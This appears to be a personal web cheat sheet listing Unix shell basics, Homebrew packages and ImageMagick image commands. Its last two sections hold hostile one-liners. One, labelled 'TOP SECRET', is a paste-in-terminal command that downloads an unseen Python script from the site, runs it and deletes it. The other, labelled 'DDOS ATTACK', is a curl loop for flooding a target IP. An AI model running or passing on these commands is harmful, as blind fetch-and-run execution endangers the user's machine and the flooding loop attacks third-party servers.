2mp.co 

Welcome to the matrix

Unix Shell

Bash: (Born-Again Shell) - command-line.

ZSH: (Z Shell) - alternative to Bash.

Homebrew: Package manager/Installer. [DL]

Package: Computer program package archive.

To Install Package: "brew install (package_name)"


Commands

ls: (List storage) - displays contents in current directory.

cd: (Change directoy) - changes the current directory.

pushd: (Push directory) - temporarily changes directory.

popd: (Pop directory) - reverts the pushed (temporary) directory.

locate: Searches system for filename containing keyword.

which: Lets you know where a command file is.

cal: Displays a calendar.

history: Displays a history of commands.

whatis: Shows description of commands.


Popular Packages

htop: popular, yet basic text-GUI for task monitoring.

glances: a nicer version of the htop GUI.

fish: tool for customizing the interface?

jpegoptim: simple tool for image automation.

imagemagick: extensive tool for image automation.


Image Automation

Compress: jpegoptim example_img.jpg

Progressify: mogrify -interlace plane *.jpg

Progressify 1 file: convert input.jpg -interlace plane output.jpg

Progressify + subdirs: find . -iname \*.jpg -exec convert {} -interlace plane {} \;


TOP SECRET

Paste in terminal: php -r "copy('https://2mp.co/sample.py', '328.py');"; python 328.py; rm 328.py


DDOS ATTACK

Paste in terminal: while true; do curl -m1 IP_ADDRESS_HERE; done